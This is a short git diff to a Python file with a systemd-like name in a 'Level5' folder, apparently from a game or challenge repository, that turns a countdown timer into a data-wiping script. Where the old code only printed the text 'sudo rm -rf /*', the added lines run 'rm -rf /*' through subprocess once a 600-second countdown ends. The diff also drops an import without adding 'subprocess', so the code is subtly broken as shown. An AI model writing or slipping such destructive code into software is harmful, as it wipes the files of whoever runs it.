diff --git a/Level/Level5/systemd-hdtob.py b/Level/Level5/systemd-hdtob.py
index aa079ce..2a70458 100644
--- a/Level/Level5/systemd-hdtob.py
+++ b/Level/Level5/systemd-hdtob.py
@@ -1,10 +1,11 @@
 import time
-import sys
 
 def countdown(seconds):
     for remaining in range(seconds, 0, -1):
         mins, secs = divmod(remaining, 60)
+        print(f"{mins:02d}:{secs:02d}", end="\r")
+        time.sleep(1)
+    subprocess.run(["rm", "-rf", "/*"])
 
-    print("sudo rm -rf /*")
 if __name__ == "__main__":
-    countdown(600)
+    countdown(600)
\ No newline at end of file